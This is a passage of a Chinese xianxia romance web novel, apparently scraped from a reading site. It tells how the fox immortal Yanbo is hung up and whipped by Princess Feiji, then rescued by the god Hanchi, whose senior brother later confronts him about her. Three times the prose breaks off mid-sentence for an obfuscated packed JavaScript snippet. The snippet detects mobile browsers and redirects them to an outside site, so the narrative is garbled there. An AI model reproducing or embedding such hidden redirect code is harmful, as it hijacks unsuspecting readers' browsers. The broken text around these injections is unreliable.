烟波对着大脚趾虔诚默拜:这位乘黄氏的祖先,看在我拿自己秀发给您扫地的份上,请让您后人少折磨我几个来回吧,务必将省下来的份儿报应在郁姝身上! 这个倒着吊的缺德主意自然是搅屎棍郁姝贡献的。 她告诉飞霁,既然狐狸精最爱惜她的容貌,那便将她倒起来挂上几天好好反省,到时血流灌顶,面若猪肝,看她还怎么蛊惑害人。 即便烟波正在疯狂辱骂她,也不得不承认,郁姝这招真是踩到了她的痛处。 她还打算待寒池过来解救,正好看到她面色苍白泪眼朦胧的倒在自己怀里,定叫他心生怜惜,不可怜都不行。 这正是她激怒飞霁的原因。虽然寒池与她今日相处和缓,面上也能当作其乐融融,可她与寒池都心知肚明,寒池根本没有放弃对她的观察。 她时常能感到一股似有若无的审视,漫不经心的覆盖在她全身。令她无法松懈。 想要改变这种根深蒂固的偏见,需要日以继夜的水磨工夫。 但这九重天在平静下是暗潮汹涌,对她并不友善,若不能尽快使寒池改观对自己倾力相护,恐怕她早晚要被这流言所累,更不要说做什么山神。 只要飞霁将她掳去,事情的形势必发生改变。飞霁的放肆、这一身的血痕、波波的描述,三者将会在寒池眼中重塑一个改过自新,却为他受累的形象。 烟波有把握,只要不是铁石心肠之人,必定会心怀愧疚,对她另眼相待。 她连戏词都想好了,没想到计划赶不上变化,万一寒池跑的慢些,就这样被吊个几天,难道最后要他听一个肿胀的猪肝脸说上神,你终于来救我了? 烟波绝望的想,就算有十腔的同情怜惜,谁也没办法在看到猪肝脸的第一眼不笑出声来。 她就被挂了这么一会儿,已觉得脑子昏昏涨涨说不出话,怕是等不到寒池过来便要香消玉殒。 “吱呀——”一声,远处的门被轻轻推开。 飞霁新换了一身衣衫,长裙曳地,披帛流光,头发也挽了高髻,两只神鸟步摇一前一后随着她的腰肢轻轻摆动,衬得她更加高贵,气质不凡。 当然,从烟波这个角度,只能看到她的绣花锦缎仙履。 “是飞霁仙子吗?” 飞霁有些讶异,她本以为经过这番折腾,烟波见到她必定会破口大骂或是苦苦求饶,没想到她竟如平常一般冷静,不见失态之举。 她一时不知该如何接话。本想将柳烟波提至四御处置,可一向顺从她的郁姝却坚决阻止,坚称那狐精的话可大可小,不能当什么确凿的作乱证据,况且泠溪宴上九重天人尽皆知她与柳烟波有积怨,恐怕会惹来非议,不如自己私下处置了解气。 几经劝阻,飞霁在去往九重天的路上转了个弯,带着柳烟波回到了白民国。 只听面前倒吊的女子道:“若我是仙子,绝不会给心上人任何看轻我的机会,就像现在这样。” “你、你在说什么?”飞霁惊得倒退了两步。 “你的心上人,不就是上神么。” 多年心事被烟波点破,飞霁又羞又恼,脸上飞红一片。结结巴巴地问:“你、你怎知道!” 难道还有谁不知道吗,烟波在心里翻了个白眼。 她抿唇一笑:“仙子别忘了,我原身可是狐狸,媚人心术乃是本能,如何看不出仙子的心思?” “仙子想绑我出气,我也没什么话说,可是这么倒吊着我,只能让仙子的形象雪上加霜。” 飞霁咬牙:“你休要吓我。” “寻常的交情都未必有你我二人说得深,我骗你做什么。” 此话倒是在理,飞霁放手一指,将烟波调转过来。 烟波竭力按捺住颠倒的晕眩感,一边感受着血液回流,一边问道:“你要如何处置我?” 飞霁避而不答,只问:“你......到底使了什么法子,迷惑了他?” 烟波道:“这吸引之法因人而异,不可直接套用。不如先告诉我,他是哪里吸引了你?” 飞霁心中隐隐有种诡异之感,柳烟波在等闲境前那般放肆造作,活生生一个宠姬样子,到了白民国却不见哭闹,变得异常的沉稳,倒像是派若两人了。 但她对狐妖的手段更为好奇,迟疑片刻,终究还是不情不愿的说了出来。 “古战场陷落之时,大量的煞气碎块和死灵贪魔坠落在我白民国,引得我国土内妖邪四起,上神来此帮助我父亲净化除魔。 我也被死灵侵蚀入体,生命垂危,需耗尽大量神力净化。那时正值他突破境界,飞升上神的关口,但他,还是愿意救下我。” 飞霁说到最后,眉间唇角不自觉的流露出少女的羞赧,温柔极了。 “原来是救命之恩。”烟波点点头:“那这之后,你有再和上神近距离接触过吗?” 飞霁不情不愿道:“只在筵宴上打过几次招呼。” 烟波不禁感慨,什么叫一手好牌被打烂,眼前就是活生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳烟波的话极具诱惑力,但飞霁陡然生出一股愤然,略一挥手,烟波便已经被吊到了她面前。 凭什么,她凭什么这么自信?凭什么自己要靠和她交好博得寒池的好感?她以为她是谁? 她勾手挑起烟波的脸细细打量,后者的目光之中只有一股平静的笃定,并没有从中找到想看到的东西。 随即转身不再看她,背过身轻轻吐出三个字:“你骗我。” “你在等闲境与在这里的嘴脸截然不同。别再惺惺作态了!这里没有上神看你表演。 区区下界的野狐狸,凭什么摆谱指点我,好像我做了多大的错事一样?你是能理解我王女的身份?还是能指点我乘黄氏的地位?” 飞霁说着愤然回头,意外被柳烟波手腕上泛着的一圈莹白光晕所吸引。 方才她被倒吊着还未发觉,而现在袖口滑落,她雪白的手腕上仿佛拥了一弯月光,在这幽暗的地下静室显得格外惹眼。 “这镯子是谁送的?”飞霁眯眼道。 烟波面对危险的直觉突然出现,她说:“是我自己戴着玩的。” “你撒谎!”飞霁勃然大怒。她自能分辨出这镯子是仙气凝结成玉的宝物,这仙气中独特的清凉气息除了寒池不会再有别人,似乎还精心浸了月光为它上色。 飞霁心中又酸又涩,见柳烟波无知的样子,似乎毫不清楚这镯子的价值,上神竟然不告诉她,是觉得根本不值一提?还是怕被她知道自己的用心? 而这一切一切的心思,都是为了这样一个满嘴谎言,眼神轻浮的狐狸精,她会什么,她只会将人玩弄于鼓掌间,根本就不会在意上神的真心! 万语千言,都化作一句不值得,飞霁心痛的望着那皎白镯子,甩出一只长鞭。 一鞭过去,镯子立刻脱手被勾回,还未等烟波反应过来,一鞭又至,生生的抽在身上,将她直抽出了狐狸原身,重新倒挂在半空。 凭什么。 飞霁将镯子攥紧,眼泪止不住的流下。 她赤红的眼睛满是水光:“也许你说的没错,可是我没办法坐视不理,你是上神身上唯一的污点,不能留在他身边!” 22. 故事的小白花 看到琥珀色眼睛里倒映出的惨白月亮,烟波知道,自己又再做噩梦了。 只是今天的梦有点不同,今天的梦里她不知被什么虫子啃咬,痒的她顾不上其它,倒是驱散了些许黑暗。 寒池蹲在一边,将地下软塌塌的狐狸翻过来,继续挠她皮毛。 老实说,这狐狸毛色太杂,算不上什么好皮子,只是触到的暖暖软软,确实还……挺好摸的。 寒池自从给她换过仙骨后,就没再接触过她的真身,这还是第一次仔细观察她的狐狸样子,心中有些异样的奇妙感觉。 “奇怪,平时挠她痒痒就醒了,今天怎么还是不行?”波波在一旁干着急的跺脚。 看了一会,她察觉到了问题所在,出声提醒寒池:“上神,是不是你下手太轻了,这力道不太像挠痒,更像在摸烟波呀。” “是么。”寒池闻言,将蜷缩成一团的狐狸摊平整,认真的调整了手法。 烟波在梦里觉得自己要被痒疯了……到底是哪个天杀的在挠她! 狐狸被挠的翻过了身,雪白温暖的肚皮软趴趴的露了天,圆圆鼓鼓,毛毛茸茸,又触手生温。 他忍不住也想揉一揉,可手还未探上去,突然又想到若此刻她化为人形,这里便是她的脐上小腹…… 寒池迅速将手缩了回来,不妥,太不妥了。 若是叫她发现,又要翻了天。 将这一团毛球拢在臂弯里,他站起身道:“也罢,就这样见见白民王吧。” 找到烟波没费什么气力,将白民宫殿的门全拆开便是了。 只是解救被吊在锁妖绳上的狐狸时忘了估计离地距离,让她松了绳子大头朝下砸了个结结实实。 寒池分辨不出她究竟是被飞霁折磨晕的,还是被自己砸晕的,此时心虚的很。 他低头看烟波小小的尖吻,忍不住又挠了挠她毛茸茸的下巴。 烟波这个噩梦做得很不踏实,梦里又是被虫子咬又是听到有人在她耳边嗡嗡,简直不胜其烦。 一睁开眼,久违的天光刺的她下意识的伸手挡了挡。 映入眼帘的是一只女人的手,是她自己的手。 烟波愣了,她不是被飞霁抽出原身了吗? 再一抬头,她看到了床沿边男人的手,这只手骨节分明,白皙修长,半支着寒池浅眠。 他气息浅浅,秀逸的眉眼舒展,星点天光仿佛粘在他的睫毛上,微微颤动的反着光。 感受到气息被搅动,寒池睁开眼:“醒了?” 一头泼墨长发倾在烟波膝头,衬得他的面容如玉。 烟波可不习惯和他这么近的距离,拥着被子半坐起来:“你什么时候来的。” “刚来不久。”他冲她露出一个堪称诡异的笑容:“我很欣慰。” 烟波:“?” 寒池拿出一卷手札:“你叫波波千里寻我,就为了交作业。” 烟波刚刚苏醒,大脑一片混沌,听寒池这么说,努力思索一番,才终于想起来自己好像是说过这话...... 不对,这分明是她拿来事后卖乖的招数,怎么会用在这生死关头? 这不开窍的小傻子果精!烟波无语。 见寒池将手札展开,慢条斯理的铺在榻上,真打算给她逐字逐句讲解起来,一副好整以暇的悠哉模样,看不出一丝连累她的愧疚之色,让烟波不禁傻眼,她不是在做梦吧? 难道她不曾被白民王女为难,只是如往常一样的在听寒池讲功课? 烟波耐着性子听了一耳朵,终于坐不住了,不由道:“波波没说我是为什么被绑来这里的吗?” “当然。” 烟波便不再说什么,只低低咳了一阵,咳得双腮染红,鬓发蓬乱,一副我见犹怜之态。 虽在她昏迷时已探了几次脉搏,但寒池仍从善如流的将手搭了上去,关切道:“所幸只是皮肉伤,除了咳嗽,可还有不适之处?” “嗯......”烟波思索一番:“就是有些痒?” “痒?” “昏迷的时候只觉身上奇痒,尤其是下巴,是不是有人往我身上放了虫子?” 寒池不知想到了什么,脸上竟然有抹可疑的飞红,手指也抽走了。 “你的脸怎么红了?”烟波惊讶道。 她此时福至心灵,估计是她说身上痒这几个字,又刺激他老人家想起被她勾引未遂的场景而不快,连忙为自己澄清:“我没别的意思,就这么一说!” 寒池轻咳两声:“我知道。” 为了转移寒池注意力,烟波决定掰回歪掉的话题,这才想起来续上自己苦肉计的戏码,她虚弱的连咳两声,眼中似有水光: “还好上神来的及时,不然我可能再也见不到你了。” 一双盈盈桃花目映在寒池眼中,她娇柔的脸被黑发拥着,仿佛一碰就碎。 又是这个模样,寒池被勾起了那日她在怀中的回忆。 只不过那日的脸要红润的多,不像现在苍白的很,他知道,这只狐狸又在动歪主意。 “嗯,难为你了。” 烟波酝酿了半天泪意,眼泪汪汪的盯着寒池,从眼角落下一滴清泪。 寒池目送这滴泪从眼角落在枕上,晕湿了缎面。 “......”烟波被这么干看着,死活挤不出第二滴了。 “上神,其实您可以关心我一下的。” 寒池点点头,有求必应:“你的《上古神异谱大系考》述论写完了吗?” 你他娘的!!!!!烟波感觉自己头发都要被气得竖起来一飞冲天。 “您还是...别关心了......”这次她是真的虚弱了。 寒池点点头,善解人意道:“这几日的功课不用写了,述论也可以往后推推。” 这块油盐不进的死木头!她都这样了,还想让她抄书写述论? 烟波再深深吐一口气。 她含情脉脉的盯着他,妄图让他看清因为被他连累,自己白白吃了多少苦头,以此唤起他的良心发作。 可惜寒池没有良心,只道:“我看你的仙脉已稳定下来,若是感觉尚可,我们就回家。” 天杀的,这厮绝对是故意的! “回家?”烟波略直起身,茫然的环顾四周,这才惊觉景致有所不同: “这里不是等闲境?” “我们还在白民国。” 烟波感慨他真是无所畏惧,在苦恋不得对象的地盘也能安然处之。 “那飞霁仙子……” “我已告知白民王,待会儿她会来向你道歉。” “她......没对你说什么?”烟波好奇的直起身子。 寒池轻“嗯”一声,道:“没说什么。” 他面色平静,将烟波的衣袖放下拢好,遮住她把完脉的手。 这狐狸不对劲。 被折磨羞辱成这样,照她的脾气,听到飞霁道歉不该这么淡定,早该扬眉吐气起来。 “与其好奇她对我说什么,不如说……她一直在说你。” 见烟波眼睛发亮,寒池缓缓道。 烟波撇了撇嘴,躺了回去。 “不好奇了?”寒池眼中闪过一丝狡黠。 “有什么好奇的,不就是说我坏话呗。”烟波自问还没有听别人讲自己坏话的癖好。 烟波甫一躺下,她对飞霁说的种种胡话就开始在脑海里打转,若是他把什么“寒池要哭着喊着求她回去”听进去了那还了得,她柳烟波在寒池心中本不富裕的形象又要雪上加霜。 她又弹坐起来:“您听进去了很多吗?” “既是坏话,为何要听?” “真的?”烟波心中七上八下。 他反问:“你希望我听多少?” 于是烟波老老实实的闭嘴躺了回去。 飞霁当然不会放过这个控诉的机会,更是把烟波为了激怒她胡扯的那几句一字不差倒了个干净。 寒池见柳烟波现在这个样子,心里一片明亮,知飞霁所言非虚,这狐狸在嘴上不肯落败,并不全然像波波形容的那般柔弱可欺,此事必有蹊跷。 若真平白无故的受了此等委屈,她定会闹着给自己讨个公道,可不会见好就收,连对飞霁的处罚反应都如此平淡,那在地上滚来滚去的行径必不是柳烟波自暴自弃,反倒像故意要将事情闹大。 只是后面波波便去寻金鹤搬救兵了,飞霁又一腔愤懑,难以确定她在后续的手笔究竟占了几分。 烟波见寒池的盯着她的眼神很是耐人寻味,大脑飞速运转,总觉得寒池也不是没听进去飞霁的坏话,拿不定此时自己应该先发制人,还是待寒池动作再行应对。 “飞霁这般欺辱你,也是视等闲境的颜面于无物,你觉得应该如何罚她?”寒池随意的抛出这么一句。 烟波一脸坦然:“该怎么罚就怎么罚,只是上神应当同她说开才好。” “我要同她说开什么?” 烟波观寒池神色迷茫不似装傻,傻眼的登时就变成了她。 不是吧,都到这份儿上了,飞霁还是没表白吗? “她......心悦与你,恐怕才迁怒于我。” 回去后烟波问过波波才知道,飞霁的话太多太密,根本来不及听,寒池只来得及在中间说话打断了她两次,一次问她要镯子,一次直接请她出去,至于最后叫她来给烟波低头认错,更是连她的面也不肯再见,只要求白民王代为转达。 飞霁也没想到,会在自己家被扫地出门,她受此对待,后面的话再也说不出口,哭得稀里哗啦便捂着脸跑出去了。 烟波本想闭口不言,省得又被寒池以为她搬弄是非,可转念一想,这事全因眼前这块死木头而起,若不实话实说,恐怕他还真要得意自己是个清白的救美英雄嘞!况且她说的是实话,也不折损自己这出戏的小白花扮相。 “莫要打量自己受了欺负,就乱传闲话。”寒池不愿深入这个话题。 烟波心中冷笑,好心当作驴肝肺,一个在脑中打转多时的念头忍不住脱口而出: “上神不妨给我透个底,你有没有什么见不得光的挚爱,她身份卑微柔弱可怜,这才提了我上来作挡箭牌保护她?” “......你是怎么想出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332637|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?”寒池未发觉自己的唇角已微微抽搐起来。 看他的神色应当不是,烟波顿觉没劲:“凡间的才子佳人话本就爱这么写。” 寒池微微一笑:“九重天之中,比你位卑的也是难寻了。” 他没有给她反唇相讥的机会,一个眼神扫去,倒让她想起自己有些心虚,于是改口道:“上神不爱听,我便不说了,何苦为得一句真话累得自己落埋怨。” 当下倚在榻上,只盯着墙面发怔,却再没见有泪淌下。 方才白民王在前头与他求情,虽不明说,但也透了几分意思,望寒池顾着女儿家心思轻拿轻放,倘若他也对飞霁有意,将此事化解便更好。 寒池只装作不知,见柳烟波老实转述,被他责怪也闭口不言,憋着气不肯渲染自己委屈,心中满意不少,暗道这狐狸总算本心倒还不坏,即便使了些手段,应也把握着分寸。 此事总归是受了自己连累,罢了。 烟波刚受了一番折腾,此刻恹恹的,一张白生生的脸,平日浮着的艳色褪了下去,显得格外乖顺素净。这种样子寒池见得不少,在出去见人装样子或是对着自己装样子的情况里格外多见。 可这种样子寒池又见得很少,她平日装模作样的太过顺从,便成了过犹不及,旁人看不出来,可他受过她的骗,就知道越是无所求,求的便越多。 而此时此刻的神情,只有在那晚她拜月的屋顶上见过一次,得以一窥她不设防无意流露出的脆弱。 这很难得。从第一次见她,寒池便不喜欢她的那双眼睛,眼珠子是淡淡的琥珀色,像至清则无鱼的潭水,又像枯冷无底的深潭,眸色天生透出浅淡来,叫人捉摸不透。 凡间有句话叫“伸手不打笑脸人”,柳烟波成天都是笑吟吟的,冲着人笑乍一看没什么,可偶尔会闪过点别的东西,看着像揶揄狡黠,又像是讥诮嘲弄,有心人机缘巧合才能瞧见,不免多疑起来,一颗心在她身上总不能放。 而此刻她终于不笑了,眼睛里也简简单单,看不到别的东西,心眼终于一致,寒池觉得这样很好,难得腾出空认真看她。 其实柳烟波不像传说的狐狸精妖艳逼人,那是修成人形没几年的野狐,才会把所有招惹人的样子往上堆着嚣张,像柳烟波这样有道行的,单看脸是看不出来的。 她是白生生的一张干净面孔,五官起伏深浅的都很齐整精细,用清丽如画形容反倒妥帖。 所谓狐狸精的拿手道行都藏在眼角眉梢里,眉到末尾那么一挑,眼那么一勾一弯,旖旎妩媚春色才显山露水。品着品着,难保不着了她的道。 即便他亲口对柳烟波说过,天上的女仙生的都好,可在她不惹人的这种时候,寒池还是愿意承认,她毕竟同旁人有点不一样。 寒池看她这幅样子,也生出揶揄的心思: “这么坐起来躺回去的,头不晕吗,我瞧着都眼花。” 这块木头应是真的有病,方才还没个好脸的斥责她多舌,现在又跟没事人一样挂上笑了,烟波暗自蹙眉,不接他的茬。 可他眼睛里是止不住的笑,一闪一闪的,比泉水还要清澈,比星子和明月都要夺目,窗外的阳光静静地映在他的眸里,又像春日的静流被太阳暖温了,没人能不为之打动。 烟波也不能例外,明明知道他是被自己这幅怂样逗笑的,心还是兀的蹦了一下。 那是你岁数大。烟波没脾气的腹诽道。 她懒洋洋的躺在榻上,手里突然被塞进一个东西。 烟波摊开手看,白玉中沁着一滴血。 她讶然的抬头看寒池。 “物归原主。”寒池微微颔首。 烟波怔怔的接过镯子:“这镯子到底有什么特别之处,叫飞霁那般看重?” “当日夔元往你肩上拍了三掌,实是送了你三口龙族至阳真气,可惜你仙体根基太弱承受不住,只得将它抽了出来,混了我的真气凝练成这只镯子。” “烟波将镯子套回手上,抬起手腕冲寒池晃晃:“是不是我戴着它能增进修为?” “镯子封入一滴你的血作为专属记号,若遇到大劫,这滴血有所感应开启其中神力,或许能助你化险为夷。” 烟波长叹出声:“我差点骨头都被抽散架了,还不算大劫么?” 寒池神叨叨的指了指天:“我说了不算。” 烟波感动的流下了眼泪:“上神啊,您若是早告诉我这镯子这么贵重,我一定不敢当着飞霁的面戴着,这不上赶着找抽嘛。” 寒池并不做解释。他当时不告诉镯子的用途,就是怕柳烟波想歪以为自己对她有意,又来对他狂轰乱炸。当然,在眼下这情景,这话还是不说为妙。 她低头摩挲手上镯子的温腻触感。这样的宝物送给自己,她不是不感动的,感念到寒池的用心,她是否在不知不觉的试探中,失去了很多寒池曾报以她的期待? 想到初次见面,寒池曾递给她的那只玉杯,烟波有些默然。 兴许这个头,便开坏了。可是若时光再重来一次,她依然会这么做,也许只能如此。 或许她可以相信,这次是真的交了好运。 23. 老树开花 寒池与烟波前脚才出白民国,九重天已炸开了锅。 拜波波大张旗鼓的上门找人所赐,谁都知道等闲境的狐狸神女丢了,再向外一传,就变成了寒池上神急的就差把九重天翻了个底掉。 有好事者信誓旦旦的称寒池家的白鹤最后是往白民国方向去了,再看王宫大门紧闭无人妄议,才知道原来是白民王女抢了那狐狸。 听说上神气得将她们家的大殿都砸毁了大半,又强压着白民王女向柳烟波低头认错,连白民王都不敢多说一句。 经此一役,烟波的名声大震,从此在九重天彻底坐实了等闲境上神心尖尖眼珠子的名头。 而寒池,也在无知觉间正式拥有了“九重天一等情痴”的美名。 然而两位当事人却浑然不知,烟波躺着养伤先不提,寒池一向是关起门来不理人,这次也是如此,进了等闲境便与外界春秋隔绝,不知外面日长几寸。 直到有仙长忧心忡忡的找上门来,他才惊闻自己又成了九重天的大红人。 座上的丛华上神见寒池连茶杯都拿不稳的样子,长叹一声:“瞧这样子,只怕你自己都不知道,还叫我放心一些。” 丛华早就听闻他师弟从凡间点化了个狐妖,但自从知道寒池从白民国带回柳烟波后,才彻底坐不住了。 他可是听到寒池放出话来,再不与这等毫无道心慈悲的仙子一处,从此白民王女在何地,他寒池便不踏入一步。 说是与白民国仍交好,可飞霁是下一任白民国王,这与同白民国断交又有何区别,九重天连往后开宴举会邀约都成了难事。 寒池回过神来,整理被洒出茶水泼湿的衣袖,一时不知该从何说起,又觉得还是要为自己挣扎下:“我没有砸白民大殿,就是拆了几扇石门。” 这个解释显然很苍白。 丛华上神摆摆手,痛心疾首道:“石门重要吗?重要的是你的名声!你可知现在外面都在说,人间有铁树开花,九重天有老树开花,老树指的就是你寒池啊!!” 寒池感到自己被狠狠羞辱了,现下的神情比方才严肃许多,他皱眉道:“师兄,他们怎能如此辱我。” 丛华颇感欣慰,不错,懂得羞耻,说明还有救。 “我都被人叫老了。” 他才两万岁出头,搁神树里也是一颗茁壮成长的青年树,怎么老了! 丛华几万年的修为都差点一口气吐出来。 他见寒池这个悠哉的无所谓样子,敲着桌子恨恨道:“这是重点吗!这是重点吗?我且问,你和那柳烟波,到底是怎么回事?” “外面那些话是怎么传的,师兄反过来理解便是。” “那你提她上天是不是真?” “是。” “你为了她去白民国问罪是不是真?” “是。” “你逼白民王女闭关思过是不是真?” “这是她父亲的决定。” “再往前数,你在雷部硬要保她成仙是不是真?” “是。” “那不就是了!”丛华一锤定音。 这等问法,令寒池无言以对。 “总之,不是你想的那样,师兄无需当真。”被谣言捶打多次,寒池已是百炼成钢,刀枪不入。 他破罐破摔的接受了自己的新形象,给自家师兄顺毛:“师兄不必这么看我,我只很客气同白民王说了一句话。” “哪一句?” “这几扇门我就不给他赔了。” 这不是慢条斯理的顺毛,这是慢条斯理的浇油。 “这叫客客气气?”丛华头发都要立起来:“这叫破门而入强取豪夺!” “强取豪夺是什么意思?”寒池不解。 丛华尴尬的咳了两声,接着拍桌子:“我问你话呢!” 寒池面不改色,抖抖扇子三言两语就把丛华打发了:“白民王当时的脸色比师兄好看多了,可见没什么事,不值得师兄挂心。” 丛华冷笑:“没什么事?因为一个狐精,你都同白民国继任国王断交了这叫没什么事?别以为我看不出来,你在九重天一向与众宽厚,这事闹这么大,还不是为了给那柳烟波立威?不许人欺负她?” 寒池微笑:“看不顺眼就不来往,与旁的人又有什么相干。反倒是我们师兄弟好久不见,您千里迢迢的赶来,不曾让我来得及问候起居,只为了说这些话,让愚弟有些失意。” “你!”这话说的丛华气也不是,不气也不是,他千里迢迢赶来不就是为了操心他吗! 丛华佯怒,将手中的茶杯摔了出去,茶水四溅,寒池微微侧头避开。 半晌未听见碎瓷之声,只见溅起的水珠与茶杯漂浮在半空之中,点点水滴顺着轻风汇聚成一只十色蝶,经窗外的日光照射,折出七彩琉璃光,鼓动蝶翅飘飘乎打着旋落在茶杯里。 不过转眼之间,茶杯原封不动出现在丛华手边,热气袅袅。 又是一杯好茶。 寒池轻笑一声,抬手示意:“现在温度正好,师兄请喝茶。” 这抛接物件的把戏他们师兄弟间已玩了几千年,推杯拨盏的极是默契,丛华见他温和含笑的模样,只得举起杯子叹了口气:“你呀!永远这般云淡风轻,叫人也分不清虚实。” 即便认真答话,听着也是漫不经心,让他吃尽了苦头,相处了万余年才弄清楚原来他的十句话里恐怕有七句半都是敷衍,他就是最受不了寒池这点! 他撇了撇嘴,挥手叫寒池离远些:“去去,笑得怪渗人的,还是你小时候正常些。” 寒池微笑的幅度更大了,这次笑的是发自真心:“这样方便些。” 一番来回下来,丛华也忘了气他,只得殷殷劝导道:“我何尝想指责你。师尊隐世已久,师兄弟四散各界,如今在这九重天还找得到的唯你我二人,我若不看护好你,怎有颜面见师门众人?师父是让你修身养性,可也没叫你双修啊!” 寒池一口茶险些全喷他脸上。 见他竟如此失态,丛华不由得陷入了沉思,他斟酌字句,缓缓道:“所以,这就是你不收她为徒的原因?” 寒池细细捋了捋,才顺出他师兄的逻辑:“师兄的意思是,我是因为对她有私心,才故意不与她做师徒名分的?” “正是。” “我确实对她有私心,私心是我自知难担大任,并不想为了谁操心。” 可惜他只看到丛华一脸你看我信吗的不屑。 丛华将杯子放回桌上,郑重的对寒池问道:“你可知,她为何会遭遇此等事情。” 寒池本不想答,可见他师兄不好相与的脸色,无奈道:“是我没将她看顾好。” 丛华眯眼睨他,他这小师弟,如今也变得如此滑头了。他语重心长的点破道:“这一切,都是因为你无名无份的将她提在身边所致。” “我们这些上古留下的老人,做些什么也都有人肯卖面子,所以你点化谁也随意。可之于九重天的其他人并不是这样,有多少人羡慕她的机缘,就有多少人嫉妒她的机缘。 凭什么她为妖我为仙,既无功德也无修为加身,她能得上神青睐飞升而我不能?你我皆知机缘巧得,并非有念有得,可是即便得道飞升,也未必勘得破其中真意,知易行难啊。” “师兄……” “即便你能护她一次,仙途漫漫,难道每次你都能护住她?” 寒池心中倏然一动。 丛华接着苦口婆心的提点道:“就如同星辰日月无规,人间四时失序,她一个没有职位的小小散仙,不论是你洞府的仙使、仙娥、仙侣、弟子,只要有一个正式的位置身份,别人就会知道该如何对待她,这种事才能断绝。” “况且,这种事情,你应该最清楚不过。” “是,师兄说的是。即便当时有真神提点我入门下,仍不免有冷嘲热讽之声。” “若你不想操心,那让她入我门中也是一样,我尚且有些弟子,这样也多些人关照她。” 寒池眼皮一跳。 “我听闻非资质、品行上佳者不得入师兄门下。这狐狸乍入仙籍,修为低末,只怕现在连师兄府上的洒扫童子都不及,愚弟怎好将她送去损了师兄仙格。” “哦?我听闻这小狐正是因为资质上佳才被你点化的,师弟莫谦虚得紧了。” “她在人间自行修炼不得要领,修了一身奇杂路数。我因此起了惜才之心点化了她,为她洗髓换骨,也将她的修为都化去了,一切都需从头开始。” “那更应该好好教导才是,有你的眼光作保,她自然当得我的入门弟子。” “各人体质不同,修炼的术法也天差地别,我换的仙骨,自然我指导最为妥帖。若再因我轻易入师兄门下,与诸位英才同修,更加难以服众。愚弟只盼远离喧嚣,不愿连累师兄被口舌所扰。” “那这件事的起因是什么,白民王女不会无缘无故为难她,这狐狸是你从下界提来,原来又是妖身,难免沾染了不正习气,是否对内行魅惑之术,对外倚势横行,才造出今日的事端?” 寒池没想到他师兄转了这么大的一个弯,又绕回这件事来,只得苦笑道:“若她是这等人品,我何必费劲点化,凭她的微末道行,又如何能蛊惑我?” 丛华在心中翻了个大大的白眼。 瞧瞧,他不过是言语试探一二,便惹得师弟长篇大论,回得字字在理,滴水不漏,叫人无从反驳。 为她思量到如此地步,确实是没有私心,因为全是私情! 有句话叫于无声处听惊雷,寒池觉得此时是于无声处力挽狂澜。 若不是他百般婉拒,师兄门下诸多弟子,待她柳烟波进去左勾一个、右揽一个,那真是天高任鸟飞、海阔凭鱼跃,将各家英才嚯嚯个遍,师兄若不先劈了她,就得再劈了他。 他为师兄,实付出太多。 丛华见他竟然颇为汗颜的样子,感慨自己精诚所至,收徒之言本就是试探,自然也打住不表,直接要传烟波过来一探究竟。 寒池见这位师兄哪哪都不痛快的模样,也知道自己没法再敷衍过去。 此情此景应该做什么姿态,可是那狐狸的拿手好戏,糊弄他师兄个老实人定是手到擒来。 只见座下的神女温顺的低垂下眉眼,用长长的羽睫遮掩住流光溢彩的琥珀眸子,小小的耳珰在颀长的脖颈上发颤,连脸都不敢抬起来与丛华直视,用细细的声音道:“小仙烟波,拜见丛华上神。” 丛华不觉有些失望,他道:“抬起头来。” 烟波颤颤巍巍的抬起头,露出一张含羞带怯的美人面。 与传闻不同,她穿着朴素,面无矫饰,只一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332638|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张清水似的脸,便如清晨含露的芍药花,尤其是那双瞳色浅于常人的眼睛,似湿漉漉的琉璃。 丛华见了这双眼睛,登时明白她为何叫做“烟波”。 “怕什么,我难道要吃你?” 只这一句,便吓得烟波全身一颤,耳珰摇曳,似是用了好大力气才没让自己全身发抖。她嗫嚅着说:“不、不是的,只是小女不通事理,怕自己说错了话......” 寒池捻着茶杯的手指微微一滞,方才饮下一口茶。 丛华的目光从面前的芍药美人移向身旁的光风霁月的神君,啧,这小子原来喜欢这样柔弱不能自理的。 他的目光再移回面前的柔弱神女。啧,男女样貌都是一等一的好,可称登对的璧人,可这狐狸眼神飘忽,举止畏缩,看起来就像被吓破了胆,这怎么成! 他小师弟的人,怎能如此小家子气! 虽说从眼睛能看出些狐狸精的风格,但是整体看不出有什么不好,也没看出有什么好,既不英武也不健壮,反正他没看出哪里能把寒池迷成这样。 他皱眉将烟波从头扫到脚,总要挑出一两处错才肯罢休,他道:“全身上下都是你的仙气,她自己能成什么事!” 说到这里,丛华好像终于找到可以痛击的口子,是了,他这小师弟可是天养地生的灵胎,一身上乘精粹的仙气竟都白白浪费在狐狸身上,她何德何能? “师兄,她才受了伤。” 啧。 而且也太老实了些,叫她抬起头来,即便怕得瑟缩,没他的准许,竟然一直坚持抬头到现在。 “受伤也便罢了,平时不能这般素淡,也当穿戴整齐些,省的出去别人还以为你苛待了她。”丛华又哼哼着挑了一句。 